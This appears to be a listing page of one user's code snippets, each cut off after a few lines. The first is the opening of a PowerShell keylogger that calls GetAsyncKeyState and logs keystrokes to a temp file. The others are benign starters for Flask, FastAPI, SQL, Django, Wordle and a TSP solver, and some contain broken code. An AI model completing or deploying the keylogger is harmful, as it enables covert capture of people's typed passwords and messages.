carloocchiena

# copy and paste this code in a windows power shell sesh. CTRL+C to display pressed keys in a notepad. 
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);

carloocchiena

def my_func:
  for num in range(50):
    yield num ** num

for values in my_func():
  print (values)
  
 all_values = list(my_func())

carloocchiena

CREATE TABLE IF NOT EXISTS album (
    `ID` INT PRI,
    `ARTIST` VARCHAR(30),
    `ALBUM` VARCHAR(30),
    `GENRE` VARCHAR(30),
     PRIMARY KEY (ID)
);
INSERT INTO album VALUES
    (1,'Pantera','Official Live','Trash Metal'),
    (2,'Sepultura','Roots','Death Metal'),

carloocchiena

import sqlite3
import flask
from flask import request, jsonify

# iniating Flask application object
app = flask.Flask(__name__)
app.config["DEBUG"] = True

# defining our SQLlite object
DB = "music.db"

carloocchiena

# -*- coding: utf-8 -*-
"""
Created on Wed Jan 30 20:54:37 2019
Introduction to machine learning
"""
from sklearn import tree
from sklearn.feature_extraction.text import CountVectorizer

OK_txt = ["ti voglio bene", "ti amo molto", "mi piace tanto", "molto bello"] 
        

carloocchiena

# Django Cheatsheet

# start a new Python env (with Anaconda)
`conda create -n my_env pip python=3.8.8` # insert your fav python version here

# activate Python Env
`conda activate my_env`

# install Django
`pip install django`

carloocchiena

# Play it live on https://replit.com/@carlo_/wordletest#main.py

import random
from collections import Counter

from english_words import english_words_lower_alpha_set as words

words = list(words)

SECRET = words[random.choice(range(len(words)))] 

carloocchiena

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from typing import Optional
import uvicorn

# instantiate our FastApi application
app = FastAPI()

# initiate our test dataset
videogames = [

carloocchiena

[MASTER]

# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-allow-list=

# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list

carloocchiena

# TSP with heuristic dynamic programming
# Solution is based on "always picking the shortest route available" on the matrix

from itertools import permutations


def travel_salesman_problem(graph: list, path_sum: int = 0) -> int:
    vertex = []
    min_path = []